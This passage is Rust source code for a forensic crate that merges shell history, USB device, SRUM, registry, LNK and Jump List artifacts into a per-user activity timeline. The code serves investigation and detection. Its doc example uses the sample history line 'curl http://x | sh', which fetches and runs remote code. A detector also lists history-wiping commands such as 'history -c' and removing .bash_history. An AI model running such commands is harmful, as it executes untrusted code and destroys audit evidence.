Skip to main content

useract_forensic/
lib.rs

1//! `useract-forensic` — the user-activity correlation layer.
2//!
3//! A thin **meta / orchestration** crate: it does not parse any raw format
4//! itself. It consumes already-decoded forensic reader types —
5//! [`shellhist_core::HistoryEntry`], [`peripheral_core::DeviceConnection`], SRUM
6//! records ([`srum_core`]), registry artifacts ([`winreg_artifacts`]), and Shell
7//! Link targets ([`lnk_core::ShellLink`]) — normalizes them into one uniform
8//! [`UserActivity`] event, builds a per-user timeline, and emits cross-source
9//! [`forensicnomicon::report::Finding`]s that no single source could produce alone.
10//!
11//! Every finding is an **observation** ("consistent with …"); the examiner draws
12//! the conclusions. MITRE techniques are narrated as consistency, never a verdict.
13//!
14//! ## 30-second example
15//!
16//! ```
17//! use useract_forensic::{build_timeline, audit, ShellHistorySource, DeviceSource};
18//! use shellhist_core::{HistoryEntry, Shell};
19//!
20//! // (sources are normally produced by the reader crates; constructed here inline)
21//! let entries = shellhist_core::parse_auto(b"#1700000000\ncurl http://x | sh\n", Some(".bash_history"));
22//! let shell = ShellHistorySource::new(&entries);
23//! let devices = DeviceSource::new(&[]);
24//!
25//! let timeline = build_timeline(&[&shell, &devices]);
26//! let findings = audit(&timeline);
27//! for f in &findings {
28//!     println!("{} — {}", f.code, f.note);
29//! }
30//! ```
31//!
32//! ## Sources
33//!
34//! Every source slots in behind the [`ActivitySource`] trait: shell history and
35//! peripheral devices (v0.1) plus SRUM (per-user app/network usage by SID — the
36//! first actor-attributing source), registry artifacts (UserAssist / TypedURLs /
37//! ShellBags), and recent-file LNK targets (carrying the volume serial that
38//! completes the device join). See `docs/roadmap.md` for the v0.3 sources.
39
40#![forbid(unsafe_code)]
41
42use forensicnomicon::report::{Category, ExternalRef, Finding, Severity, Source};
43use peripheral_core::{Bus, DeviceConnection};
44use shellhist_core::HistoryEntry;
45
46/// What a user did to a [`Subject`].
47#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
48pub enum Action {
49    /// Ran a program or command.
50    Executed,
51    /// Opened or read a file/folder.
52    Accessed,
53    /// Attached / connected a device.
54    Connected,
55    /// Issued a search query.
56    Searched,
57    /// Typed text (e.g. a typed URL / run-box entry).
58    Typed,
59    /// Disabled, cleared, or otherwise tampered with an activity record.
60    HistoryTampered,
61    /// Selected a menu item in an application's menu bar.
62    ///
63    /// Sourced from Apple Biome `App.MenuItem` records. Represents a deliberate
64    /// UI interaction — the user explicitly opened a menu and chose an item —
65    /// distinct from [`Action::Executed`] (program launch) and
66    /// [`Action::Accessed`] (file open).
67    MenuSelected,
68}
69
70/// The thing an [`Action`] was performed on.
71#[derive(Debug, Clone, PartialEq, Eq, Hash)]
72pub enum Subject {
73    /// A shell command or program invocation.
74    Command(String),
75    /// A file path, carrying the **volume serial** of the volume it lives on when
76    /// the source knows it (LNK `VolumeID`). The serial is the join key to a
77    /// [`Subject::Device`] with the same volume serial (see
78    /// [`device_file_volume_joins`]).
79    File {
80        /// The file path.
81        path: String,
82        /// NTFS/FAT volume serial of the file's volume, when known.
83        volume_serial: Option<u32>,
84    },
85    /// A folder path, carrying the **volume serial** of the volume it lives on when
86    /// the source knows it (shellbag / LNK directory target).
87    Folder {
88        /// The folder path.
89        path: String,
90        /// NTFS/FAT volume serial of the folder's volume, when known.
91        volume_serial: Option<u32>,
92    },
93    /// An external device, with its volume serial kept distinct so an LNK /
94    /// shellbag [`Subject::File`] carrying the same NTFS/FAT volume serial can be
95    /// joined to it (see [`device_file_volume_joins`]).
96    Device {
97        /// Device instance id (the stable primary key).
98        id: String,
99        /// NTFS/FAT volume serial of the device's volume, when known.
100        volume_serial: Option<u32>,
101    },
102    /// A search / lookup query.
103    Query(String),
104}
105
106impl Subject {
107    /// A file path with no known volume serial.
108    #[must_use]
109    pub fn file(path: impl Into<String>) -> Self {
110        Self::File {
111            path: path.into(),
112            volume_serial: None,
113        }
114    }
115
116    /// A folder path with no known volume serial.
117    #[must_use]
118    pub fn folder(path: impl Into<String>) -> Self {
119        Self::Folder {
120            path: path.into(),
121            volume_serial: None,
122        }
123    }
124}
125
126/// Which reader the activity was normalized from.
127///
128/// Extensible: marked `#[non_exhaustive]` so adding a variant is non-breaking;
129/// consumers must use a `_` arm when matching.
130#[non_exhaustive]
131#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
132pub enum SourceKind {
133    /// `shellhist-core` — shell command history.
134    ShellHistory,
135    /// `peripheral-core` — external-device connections.
136    PeripheralDevice,
137    /// `srum-core` / `srum-parser` — per-user app execution and network bytes,
138    /// attributed to a user SID (the first by-SID source).
139    Srum,
140    /// `winreg-artifacts` — registry per-user artifacts (UserAssist, TypedURLs,
141    /// ShellBags).
142    Registry,
143    /// `lnk-core` — Windows Shell Link (`.lnk`) targets, carrying the volume
144    /// serial that completes the device join.
145    LnkFile,
146    /// `lnk-core` Jump Lists (`*.automaticDestinations-ms` /
147    /// `*.customDestinations-ms`) — per-application recent/pinned items, with the
148    /// `DestList` MRU last-access time and origin host.
149    JumpList,
150    /// `segb-core` — Apple Biome `App.MenuItem` records (macOS Tahoe 26+).
151    ///
152    /// Each record captures a menu-bar item selection: the application name and
153    /// the exact text of the item chosen. Stored in SEGB container files under
154    /// `~/Library/Biome/streams/restricted/App.MenuItem/local`.
155    ///
156    /// **Validation caveat**: the protobuf field numbers in `segb-core` are
157    /// inferred from published research; validation against a real macOS Tahoe 26
158    /// sample is pending. See `segb-core/docs/validation.md`.
159    BiomeMenuItem,
160}
161
162/// One normalized user-activity event: *who* did *what*, *when*, to *which* subject.
163#[derive(Debug, Clone, PartialEq, Eq)]
164pub struct UserActivity {
165    /// Unix epoch seconds, when the source records it. `None` when the source
166    /// carries no usable timestamp (e.g. plain bash / PowerShell PSReadLine).
167    pub timestamp: Option<i64>,
168    /// The acting user / SID, when the source attributes it. Most v0.1 sources do
169    /// not attribute a user; SRUM (v0.2) is the first by-SID source.
170    pub actor: Option<String>,
171    /// What was done.
172    pub action: Action,
173    /// What it was done to.
174    pub subject: Subject,
175    /// Which reader produced this event.
176    pub source: SourceKind,
177    /// A human-readable detail string for the event.
178    pub detail: String,
179}
180
181/// A producer of [`UserActivity`] events.
182///
183/// Implementing this trait is the v0.2 extension seam: a new reader wrapper
184/// (`lnk-core`, `shellbag-core`, `srum-core`, `winreg-artifacts`) implements
185/// `activities` and slots into [`build_timeline`] with no API change.
186pub trait ActivitySource {
187    /// The activities this source contributes to the timeline.
188    fn activities(&self) -> Vec<UserActivity>;
189}
190
191/// Does this shell command disable or clear command history?
192///
193/// Recognizes the common anti-forensic primitives across bash/zsh/PowerShell. The
194/// match is on structure (the verb + the well-known history target), not on a
195/// hardcoded full command line, so any member of the class is caught.
196fn is_history_tamper(cmd: &str) -> bool {
197    let c = cmd.to_ascii_lowercase();
198    let c = c.trim();
199    // bash/zsh: unset the history file, point it at the bit bucket, or clear it.
200    c.contains("unset histfile")
201        || c.contains("histfile=/dev/null")
202        || c.contains("histsize=0")
203        || c.contains("histfilesize=0")
204        || (c.contains("history") && (c.contains(" -c") || c.ends_with("-c")))
205        || c.contains("history -c")
206        // PowerShell PSReadLine history file removal.
207        || (c.contains("clear-history"))
208        || (c.contains("remove-item") && c.contains("consolehost_history"))
209        // Truncate/remove the history file directly.
210        || (c.contains("rm ") && c.contains(".bash_history"))
211        || (c.contains("rm ") && c.contains(".zsh_history"))
212        || (c.starts_with("> ") && c.contains("history"))
213}
214
215/// A [`ShellHistorySource`] wraps a borrowed slice of decoded history entries.
216///
217/// Each command becomes an [`Action::Executed`] [`UserActivity`]; a command that
218/// disables or clears history becomes an [`Action::HistoryTampered`] event instead
219/// (the clearing itself is the activity worth surfacing).
220pub struct ShellHistorySource<'a> {
221    entries: &'a [HistoryEntry],
222    actor: Option<String>,
223}
224
225impl<'a> ShellHistorySource<'a> {
226    /// Wrap decoded history entries with no attributed actor.
227    #[must_use]
228    pub fn new(entries: &'a [HistoryEntry]) -> Self {
229        Self {
230            entries,
231            actor: None,
232        }
233    }
234
235    /// Wrap decoded history entries, attributing them to a known user/account.
236    #[must_use]
237    pub fn for_actor(entries: &'a [HistoryEntry], actor: impl Into<String>) -> Self {
238        Self {
239            entries,
240            actor: Some(actor.into()),
241        }
242    }
243}
244
245impl ActivitySource for ShellHistorySource<'_> {
246    fn activities(&self) -> Vec<UserActivity> {
247        from_shell_history(self.entries, self.actor.as_deref())
248    }
249}
250
251/// Normalize a decoded shell-history stream into [`UserActivity`] events.
252///
253/// Each command → [`Action::Executed`]; a history-clearing command →
254/// [`Action::HistoryTampered`]. The `actor` (when known) is carried onto every
255/// event.
256#[must_use]
257pub fn from_shell_history(entries: &[HistoryEntry], actor: Option<&str>) -> Vec<UserActivity> {
258    entries
259        .iter()
260        .map(|e| {
261            let action = if is_history_tamper(&e.command) {
262                Action::HistoryTampered
263            } else {
264                Action::Executed
265            };
266            UserActivity {
267                timestamp: e.timestamp,
268                actor: actor.map(ToString::to_string),
269                action,
270                subject: Subject::Command(e.command.clone()),
271                source: SourceKind::ShellHistory,
272                detail: e.command.clone(),
273            }
274        })
275        .collect()
276}
277
278/// A [`DeviceSource`] wraps a borrowed slice of decoded device connections.
279///
280/// Each connection becomes an [`Action::Connected`] [`UserActivity`] whose
281/// [`Subject::Device`] carries the device instance id and the **volume serial**, so
282/// the v0.2 LNK/shellbag join can light up.
283pub struct DeviceSource<'a> {
284    connections: &'a [DeviceConnection],
285}
286
287impl<'a> DeviceSource<'a> {
288    /// Wrap decoded device connections.
289    #[must_use]
290    pub fn new(connections: &'a [DeviceConnection]) -> Self {
291        Self { connections }
292    }
293}
294
295impl ActivitySource for DeviceSource<'_> {
296    fn activities(&self) -> Vec<UserActivity> {
297        from_device_connections(self.connections)
298    }
299}
300
301/// Normalize a decoded device-connection stream into [`UserActivity`] events.
302///
303/// Each connection → [`Action::Connected`], carrying the device id and the volume
304/// serial. The timestamp is the device's first-install/first-seen stamp when the
305/// source recorded one.
306#[must_use]
307pub fn from_device_connections(connections: &[DeviceConnection]) -> Vec<UserActivity> {
308    connections
309        .iter()
310        .map(|c| {
311            let timestamp = c
312                .first_install
313                .or(c.last_arrival)
314                .or(c.last_install)
315                .map(|s| s.value);
316            UserActivity {
317                timestamp,
318                actor: None,
319                action: Action::Connected,
320                subject: Subject::Device {
321                    id: c.device_instance_id.clone(),
322                    volume_serial: c.volume_serial,
323                },
324                source: SourceKind::PeripheralDevice,
325                detail: c.device_instance_id.clone(),
326            }
327        })
328        .collect()
329}
330
331/// A [`SrumSource`] wraps borrowed SRUM network-usage and app-usage records plus
332/// the `SruDbIdMapTable` that resolves their integer `user_id` / `app_id` foreign
333/// keys to user SIDs and application paths.
334///
335/// SRUM is the first source that **attributes** activity to a specific user: each
336/// row becomes an [`Action::Executed`] [`UserActivity`] whose `actor` is the
337/// resolved user SID. Network rows additionally carry the per-interval byte volume
338/// in `detail`, sharpening the exfiltration lens.
339pub struct SrumSource<'a> {
340    network: &'a [srum_core::NetworkUsageRecord],
341    app_usage: &'a [srum_core::AppUsageRecord],
342    id_map: &'a [srum_core::IdMapEntry],
343}
344
345impl<'a> SrumSource<'a> {
346    /// Wrap decoded SRUM records with the id-map needed to resolve users and apps.
347    #[must_use]
348    pub fn new(
349        network: &'a [srum_core::NetworkUsageRecord],
350        app_usage: &'a [srum_core::AppUsageRecord],
351        id_map: &'a [srum_core::IdMapEntry],
352    ) -> Self {
353        Self {
354            network,
355            app_usage,
356            id_map,
357        }
358    }
359}
360
361impl ActivitySource for SrumSource<'_> {
362    fn activities(&self) -> Vec<UserActivity> {
363        from_srum(self.network, self.app_usage, self.id_map)
364    }
365}
366
367/// Resolve a SRUM integer id to its mapped name via the `SruDbIdMapTable`.
368///
369/// Returns `None` when the id is absent from the map — the caller substitutes a
370/// stable synthetic token so the foreign key is never silently dropped.
371fn resolve_id(id: i32, id_map: &[srum_core::IdMapEntry]) -> Option<String> {
372    id_map
373        .iter()
374        .find(|e| e.id == id)
375        .map(|e| e.name.clone())
376        .filter(|n| !n.is_empty())
377}
378
379/// Normalize SRUM network-usage and app-usage records into [`UserActivity`] events.
380///
381/// Each record → [`Action::Executed`], attributed to the user SID resolved from the
382/// id-map (falling back to a `user-id:<n>` token when unresolved). The application
383/// resolves to its path (falling back to `app-id:<n>`). Network rows carry their
384/// `<bytes_sent>↑ / <bytes_recv>↓ bytes` in `detail`; app-usage rows carry their
385/// foreground/background CPU cycles. The `DateTime<Utc>` timestamp becomes Unix
386/// epoch seconds.
387#[must_use]
388pub fn from_srum(
389    network: &[srum_core::NetworkUsageRecord],
390    app_usage: &[srum_core::AppUsageRecord],
391    id_map: &[srum_core::IdMapEntry],
392) -> Vec<UserActivity> {
393    let mut acts = Vec::with_capacity(network.len() + app_usage.len());
394
395    for r in network {
396        let actor =
397            resolve_id(r.user_id, id_map).unwrap_or_else(|| format!("user-id:{}", r.user_id));
398        let app = resolve_id(r.app_id, id_map).unwrap_or_else(|| format!("app-id:{}", r.app_id));
399        acts.push(UserActivity {
400            timestamp: Some(r.timestamp.timestamp()),
401            actor: Some(actor),
402            action: Action::Executed,
403            subject: Subject::Command(app),
404            source: SourceKind::Srum,
405            detail: format!(
406                "{}\u{2191} / {}\u{2193} bytes (SRUM network usage)",
407                r.bytes_sent, r.bytes_recv
408            ),
409        });
410    }
411
412    for r in app_usage {
413        let actor =
414            resolve_id(r.user_id, id_map).unwrap_or_else(|| format!("user-id:{}", r.user_id));
415        let app = resolve_id(r.app_id, id_map).unwrap_or_else(|| format!("app-id:{}", r.app_id));
416        acts.push(UserActivity {
417            timestamp: Some(r.timestamp.timestamp()),
418            actor: Some(actor),
419            action: Action::Executed,
420            subject: Subject::Command(app),
421            source: SourceKind::Srum,
422            detail: format!(
423                "{} foreground / {} background CPU cycles (SRUM app usage)",
424                r.foreground_cycles, r.background_cycles
425            ),
426        });
427    }
428
429    acts
430}
431
432/// A [`LnkSource`] wraps borrowed Windows Shell Link targets parsed by `lnk-core`.
433///
434/// Each [`ShellLink`](lnk_core::ShellLink) → an [`Action::Accessed`]
435/// [`Subject::File`] whose path is the link's local base path (or the network
436/// target's UNC name) and whose `volume_serial` is the `VolumeID`
437/// `DriveSerialNumber` — the structured key that completes the device join. The
438/// target's last-write FILETIME becomes the activity timestamp.
439pub struct LnkSource<'a> {
440    links: &'a [lnk_core::ShellLink],
441    actor: Option<String>,
442}
443
444impl<'a> LnkSource<'a> {
445    /// Wrap parsed shell links, attributing them to a user when known.
446    #[must_use]
447    pub fn new(links: &'a [lnk_core::ShellLink], actor: Option<&str>) -> Self {
448        Self {
449            links,
450            actor: actor.map(ToString::to_string),
451        }
452    }
453}
454
455impl ActivitySource for LnkSource<'_> {
456    fn activities(&self) -> Vec<UserActivity> {
457        from_lnk(self.links, self.actor.as_deref())
458    }
459}
460
461/// Normalize parsed Shell Links into [`Action::Accessed`] file [`UserActivity`]s.
462///
463/// Each link's target path comes from `link_info.local_base_path`; when that is
464/// absent, the `CommonNetworkRelativeLink` net name (a UNC share) is used. A link
465/// with no `LinkInfo` and no resolvable target is skipped rather than emitting a
466/// pathless event. The target's `write_time` FILETIME (already Unix epoch seconds,
467/// 0 = unset) becomes the timestamp; the `VolumeID` drive serial is carried on the
468/// [`Subject::File`] as the device-join key.
469#[must_use]
470pub fn from_lnk(links: &[lnk_core::ShellLink], actor: Option<&str>) -> Vec<UserActivity> {
471    links
472        .iter()
473        .filter_map(|link| {
474            let info = link.link_info.as_ref()?;
475            let path = info.local_base_path.clone().or_else(|| {
476                info.common_network_relative_link
477                    .as_ref()
478                    .and_then(|c| c.net_name.clone())
479            })?;
480            let volume_serial = info.volume_id.as_ref().map(|v| v.drive_serial_number);
481            // lnk-core already maps a zero "not set" FILETIME to 0 epoch seconds.
482            let timestamp = (link.header.write_time != 0).then_some(link.header.write_time);
483            Some(UserActivity {
484                timestamp,
485                actor: actor.map(ToString::to_string),
486                action: Action::Accessed,
487                subject: Subject::File {
488                    path: path.clone(),
489                    volume_serial,
490                },
491                source: SourceKind::LnkFile,
492                detail: format!("LNK target: {path}"),
493            })
494        })
495        .collect()
496}
497
498/// A [`JumpListSource`] wraps parsed `lnk-core` Jump Lists — the per-application
499/// MRU of recently opened (and pinned) items. Automatic destinations carry a
500/// `DestList` with the authoritative per-target access time and origin host;
501/// custom destinations are a flat list of embedded shell links.
502pub struct JumpListSource<'a> {
503    lists: &'a [lnk_core::JumpList],
504    actor: Option<String>,
505}
506
507impl<'a> JumpListSource<'a> {
508    /// Wrap parsed Jump Lists, attributing them to a user when known.
509    #[must_use]
510    pub fn new(lists: &'a [lnk_core::JumpList], actor: Option<&str>) -> Self {
511        Self {
512            lists,
513            actor: actor.map(ToString::to_string),
514        }
515    }
516}
517
518impl ActivitySource for JumpListSource<'_> {
519    fn activities(&self) -> Vec<UserActivity> {
520        from_jumplists(self.lists, self.actor.as_deref())
521    }
522}
523
524/// Normalize parsed Jump Lists into [`Action::Accessed`] file [`UserActivity`]s.
525///
526/// Each entry yields one event. The target path and access time prefer the
527/// `DestList` record (the authoritative MRU metadata of an automatic-destinations
528/// list); when there is no `DestList` (a custom-destinations entry) the embedded
529/// shell link supplies them, exactly as a loose `.lnk` does via [`from_lnk`]. The
530/// embedded link's `VolumeID` drive serial is carried on the [`Subject::File`] as
531/// the device-join key. An entry with no resolvable target path is skipped rather
532/// than emitting a pathless event.
533#[must_use]
534pub fn from_jumplists(lists: &[lnk_core::JumpList], actor: Option<&str>) -> Vec<UserActivity> {
535    let mut out = Vec::new();
536    for list in lists {
537        let app = list.app_id.as_deref().map_or_else(
538            || "unknown app".to_string(),
539            |id| {
540                forensicnomicon::jumplist::appid_name(id)
541                    .map_or_else(|| format!("AppID {id}"), ToString::to_string)
542            },
543        );
544        for entry in &list.entries {
545            let info = entry.link.link_info.as_ref();
546            let link_path = info.and_then(|i| {
547                i.local_base_path.clone().or_else(|| {
548                    i.common_network_relative_link
549                        .as_ref()
550                        .and_then(|c| c.net_name.clone())
551                })
552            });
553            // Prefer the DestList-recorded target; fall back to the embedded link.
554            let path = match entry.destlist.as_ref() {
555                Some(d) if !d.path.is_empty() => Some(d.path.clone()),
556                _ => link_path,
557            };
558            let Some(path) = path else { continue };
559
560            let volume_serial =
561                info.and_then(|i| i.volume_id.as_ref().map(|v| v.drive_serial_number));
562            // DestList last-access is authoritative; else the link write_time. Both
563            // use 0 as the "not set" sentinel.
564            let dl_ts = entry
565                .destlist
566                .as_ref()
567                .and_then(|d| (d.last_access != 0).then_some(d.last_access));
568            let timestamp = dl_ts.or_else(|| {
569                (entry.link.header.write_time != 0).then_some(entry.link.header.write_time)
570            });
571
572            let detail = match entry.destlist.as_ref() {
573                Some(d) => format!("JumpList ({app}) recent item on {}: {path}", d.hostname),
574                None => format!("JumpList ({app}) recent item: {path}"),
575            };
576            out.push(UserActivity {
577                timestamp,
578                actor: actor.map(ToString::to_string),
579                action: Action::Accessed,
580                subject: Subject::File {
581                    path,
582                    volume_serial,
583                },
584                source: SourceKind::JumpList,
585                detail,
586            });
587        }
588    }
589    out
590}
591
592/// Parse an ISO-8601 `%Y-%m-%dT%H:%M:%SZ` UTC timestamp (the form
593/// `winreg-artifacts` emits) into Unix epoch seconds. Returns [`None`] for an
594/// absent or unparseable value — a missing timestamp is forensically meaningful,
595/// not an error.
596fn iso8601_to_epoch(s: Option<&str>) -> Option<i64> {
597    let s = s?;
598    chrono::DateTime::parse_from_rfc3339(s)
599        .ok()
600        .map(|dt| dt.timestamp())
601}
602
603/// A [`RegistrySource`] wraps borrowed per-user registry artifacts decoded by
604/// `winreg-artifacts` from an `NTUSER.DAT` / `USRCLASS.DAT` hive.
605///
606/// It normalizes the three published per-user artifacts:
607/// [`UserAssist`](winreg_artifacts::userassist) → [`Action::Executed`],
608/// [`TypedURLs`](winreg_artifacts::typed_urls) → [`Action::Typed`], and
609/// [`ShellBags`](winreg_artifacts::shellbags) → [`Action::Accessed`] (folder).
610///
611/// `winreg-artifacts` v0.1 publishes exactly these three per-user decoders; it has
612/// no separate RecentDocs / RunMRU / MountPoints2 / TypedPaths modules, so the
613/// adapter maps the artifacts that actually exist.
614pub struct RegistrySource<'a> {
615    userassist: &'a [winreg_artifacts::userassist::UserAssistEntry],
616    typed_urls: &'a [winreg_artifacts::typed_urls::TypedUrl],
617    shellbags: &'a [winreg_artifacts::shellbags::ShellbagEntry],
618    actor: Option<String>,
619}
620
621impl<'a> RegistrySource<'a> {
622    /// Wrap decoded registry artifacts, attributing them to a user when known (the
623    /// hive owner — the SID/account the `NTUSER.DAT` belongs to).
624    #[must_use]
625    pub fn new(
626        userassist: &'a [winreg_artifacts::userassist::UserAssistEntry],
627        typed_urls: &'a [winreg_artifacts::typed_urls::TypedUrl],
628        shellbags: &'a [winreg_artifacts::shellbags::ShellbagEntry],
629        actor: Option<&str>,
630    ) -> Self {
631        Self {
632            userassist,
633            typed_urls,
634            shellbags,
635            actor: actor.map(ToString::to_string),
636        }
637    }
638}
639
640impl ActivitySource for RegistrySource<'_> {
641    fn activities(&self) -> Vec<UserActivity> {
642        from_registry(
643            self.userassist,
644            self.typed_urls,
645            self.shellbags,
646            self.actor.as_deref(),
647        )
648    }
649}
650
651/// Normalize UserAssist entries into [`Action::Executed`] [`UserActivity`] events.
652///
653/// Each entry → an `Executed` activity whose subject is the program path; the run
654/// count is carried in `detail` and the ROT13-decoded last-run timestamp parsed to
655/// epoch. The `actor` (the hive owner) is carried when known.
656#[must_use]
657pub fn from_userassist(
658    entries: &[winreg_artifacts::userassist::UserAssistEntry],
659    actor: Option<&str>,
660) -> Vec<UserActivity> {
661    entries
662        .iter()
663        .map(|e| UserActivity {
664            timestamp: iso8601_to_epoch(e.last_run.as_deref()),
665            actor: actor.map(ToString::to_string),
666            action: Action::Executed,
667            subject: Subject::Command(e.program.clone()),
668            source: SourceKind::Registry,
669            detail: format!("UserAssist: {} run {} time(s)", e.program, e.run_count),
670        })
671        .collect()
672}
673
674/// Normalize IE/Edge TypedURLs into [`Action::Typed`] [`UserActivity`] events.
675///
676/// Each typed URL → a `Typed` activity carrying the URL as a [`Subject::Query`]
677/// (an address-bar entry is a typed lookup); the companion `TypedURLsTime`
678/// timestamp parsed to epoch.
679#[must_use]
680pub fn from_typed_urls(
681    urls: &[winreg_artifacts::typed_urls::TypedUrl],
682    actor: Option<&str>,
683) -> Vec<UserActivity> {
684    urls.iter()
685        .map(|u| {
686            let detail = match &u.suspicious_reason {
687                Some(reason) => format!("TypedURL: {} ({reason})", u.url),
688                None => format!("TypedURL: {}", u.url),
689            };
690            UserActivity {
691                timestamp: iso8601_to_epoch(u.last_visited.as_deref()),
692                actor: actor.map(ToString::to_string),
693                action: Action::Typed,
694                subject: Subject::Query(u.url.clone()),
695                source: SourceKind::Registry,
696                detail,
697            }
698        })
699        .collect()
700}
701
702/// Normalize ShellBags into [`Action::Accessed`] folder [`UserActivity`] events.
703///
704/// Each BagMRU entry → an `Accessed` activity whose [`Subject::Folder`] is the
705/// reconstructed folder path; the key's `LastWriteTime` parsed to epoch.
706#[must_use]
707pub fn from_shellbags(
708    bags: &[winreg_artifacts::shellbags::ShellbagEntry],
709    actor: Option<&str>,
710) -> Vec<UserActivity> {
711    bags.iter()
712        .map(|b| UserActivity {
713            timestamp: iso8601_to_epoch(b.last_written.as_deref()),
714            actor: actor.map(ToString::to_string),
715            action: Action::Accessed,
716            subject: Subject::folder(b.path.clone()),
717            source: SourceKind::Registry,
718            detail: format!("ShellBag {}: {}", b.key_path, b.path),
719        })
720        .collect()
721}
722
723/// Normalize all three per-user registry artifacts into one [`UserActivity`] stream.
724///
725/// Concatenates [`from_userassist`], [`from_typed_urls`], and [`from_shellbags`],
726/// attributing every event to the hive owner when known.
727#[must_use]
728pub fn from_registry(
729    userassist: &[winreg_artifacts::userassist::UserAssistEntry],
730    typed_urls: &[winreg_artifacts::typed_urls::TypedUrl],
731    shellbags: &[winreg_artifacts::shellbags::ShellbagEntry],
732    actor: Option<&str>,
733) -> Vec<UserActivity> {
734    let mut acts = from_userassist(userassist, actor);
735    acts.extend(from_typed_urls(typed_urls, actor));
736    acts.extend(from_shellbags(shellbags, actor));
737    acts
738}
739
740/// A [`BiomeMenuItemSource`] wraps decoded Apple Biome `App.MenuItem` records.
741///
742/// Each record captures a deliberate menu-bar selection: the application name
743/// and the exact text of the chosen item. Records without a `menu_item` text
744/// are skipped — they carry no actionable label.
745///
746/// Stored in SEGB container files under
747/// `~/Library/Biome/streams/restricted/App.MenuItem/local` (macOS Tahoe 26+).
748///
749/// **Validation caveat**: the `segb-core` protobuf field numbers for this
750/// stream are inferred from published research; validation against a real
751/// macOS Tahoe 26 sample is pending. See `segb-core/docs/validation.md`.
752pub struct BiomeMenuItemSource<'a> {
753    records: &'a [segb::menuitem::AppMenuItemRecord],
754    actor: Option<String>,
755}
756
757impl<'a> BiomeMenuItemSource<'a> {
758    /// Wrap decoded `App.MenuItem` records, attributing them to a user when known.
759    #[must_use]
760    pub fn new(records: &'a [segb::menuitem::AppMenuItemRecord], actor: Option<&str>) -> Self {
761        Self {
762            records,
763            actor: actor.map(ToString::to_string),
764        }
765    }
766}
767
768impl ActivitySource for BiomeMenuItemSource<'_> {
769    fn activities(&self) -> Vec<UserActivity> {
770        from_biome_menu_items(self.records, self.actor.as_deref())
771    }
772}
773
774/// Normalize decoded Biome `App.MenuItem` records into [`Action::MenuSelected`]
775/// [`UserActivity`] events.
776///
777/// Each record whose `menu_item` field is present yields one event. The
778/// `subject` is a [`Subject::Command`] whose value is `"<application>: <menu_item>"`
779/// (or just `"<menu_item>"` when `application` is absent) — the combined label
780/// is the most useful single string for timeline review. Records with no
781/// `menu_item` are skipped rather than emitting a label-less event.
782///
783/// The `timestamp_unix` field (seconds since 1970 as `f64`, forwarded from the
784/// SEGB record header) is truncated to `i64`; a `None` or non-finite value
785/// becomes `None`.
786///
787/// **Validation caveat**: see [`BiomeMenuItemSource`].
788#[must_use]
789pub fn from_biome_menu_items(
790    records: &[segb::menuitem::AppMenuItemRecord],
791    actor: Option<&str>,
792) -> Vec<UserActivity> {
793    records
794        .iter()
795        .filter_map(|r| {
796            let menu_item = r.menu_item.as_deref()?;
797            let label = match r.application.as_deref() {
798                Some(app) => format!("{app}: {menu_item}"),
799                None => menu_item.to_string(),
800            };
801            let timestamp = r
802                .timestamp_unix
803                .and_then(|t| t.is_finite().then_some(t as i64));
804            Some(UserActivity {
805                timestamp,
806                actor: actor.map(ToString::to_string),
807                action: Action::MenuSelected,
808                subject: Subject::Command(label.clone()),
809                source: SourceKind::BiomeMenuItem,
810                detail: label,
811            })
812        })
813        .collect()
814}
815
816/// Merge any number of [`ActivitySource`]s into one timeline, sorted by timestamp.
817///
818/// Events with a timestamp come first in ascending epoch order; `None`-timestamp
819/// events are kept (their order is forensically meaningful too) and ordered stably
820/// at the end, preserving source/insertion order among themselves.
821#[must_use]
822pub fn build_timeline(sources: &[&dyn ActivitySource]) -> Vec<UserActivity> {
823    let mut events: Vec<UserActivity> = sources.iter().flat_map(|s| s.activities()).collect();
824    // Stable sort keeps None-timestamp events in source order; the key puts
825    // timestamped events first (ascending), untimestamped last.
826    events.sort_by_key(|e| (e.timestamp.is_none(), e.timestamp.unwrap_or(i64::MAX)));
827    events
828}
829
830/// The default temporal window (seconds) for the exec-during-removable-media join.
831///
832/// One hour: wide enough to catch a command run while a stick is mounted, tight
833/// enough to keep the temporal coincidence meaningful and the false-positive rate
834/// low.
835pub const REMOVABLE_MEDIA_WINDOW_SECS: i64 = 3600;
836
837/// The conservative per-interval `bytes_sent` threshold above which a SRUM network
838/// row is surfaced as a graded exfiltration **lead** (`USERACT-NETWORK-EXFIL-VOLUME`).
839///
840/// SRUM aggregates per process per ~1-hour interval. 256 MiB sent by a single
841/// process in one interval is well above routine background/telemetry traffic yet
842/// low enough to catch a deliberate bulk upload; it is a deliberately conservative
843/// lead, not a verdict — a backup client or large legitimate upload can also cross
844/// it, so the examiner adjudicates.
845pub const NETWORK_EXFIL_BYTES_THRESHOLD: u64 = 256 * 1024 * 1024;
846
847/// The [`Source`] stamp for findings this analyzer emits.
848#[must_use]
849pub fn source(scope: impl Into<String>) -> Source {
850    Source {
851        analyzer: "useract-forensic".to_string(),
852        scope: scope.into(),
853        version: Some(env!("CARGO_PKG_VERSION").to_string()),
854    }
855}
856
857/// Generic volume-serial join: pair every [`Subject::Device`] activity with every
858/// [`Subject::File`] / [`Subject::Folder`] activity that names the **same volume
859/// serial**.
860///
861/// Active in v0.2: a [`Subject::File`] / [`Subject::Folder`] carrying a
862/// `volume_serial` (from `lnk-core`'s `VolumeID`) joins to a [`Subject::Device`]
863/// connected with the same serial. Returns `(device_index, file_index)` pairs into
864/// `events`.
865///
866/// The volume serial is read first from the subject's structured `volume_serial`
867/// field; a `vol:<serial>` token in [`UserActivity::detail`] is honored as a
868/// fallback so an out-of-band source that only annotates the detail still joins.
869#[must_use]
870pub fn device_file_volume_joins(events: &[UserActivity]) -> Vec<(usize, usize)> {
871    let mut pairs = Vec::new();
872    for (di, dev) in events.iter().enumerate() {
873        let Subject::Device {
874            volume_serial: Some(dev_serial),
875            ..
876        } = &dev.subject
877        else {
878            continue;
879        };
880        for (fi, file) in events.iter().enumerate() {
881            if file_volume_serial(file) == Some(*dev_serial) {
882                pairs.push((di, fi));
883            }
884        }
885    }
886    pairs
887}
888
889/// Extract a file/folder activity's volume serial: the subject's structured
890/// `volume_serial` field, else a `vol:<serial>` token in its
891/// [`UserActivity::detail`]. Non-file subjects yield [`None`].
892fn file_volume_serial(activity: &UserActivity) -> Option<u32> {
893    let structured = match &activity.subject {
894        Subject::File { volume_serial, .. } | Subject::Folder { volume_serial, .. } => {
895            *volume_serial
896        }
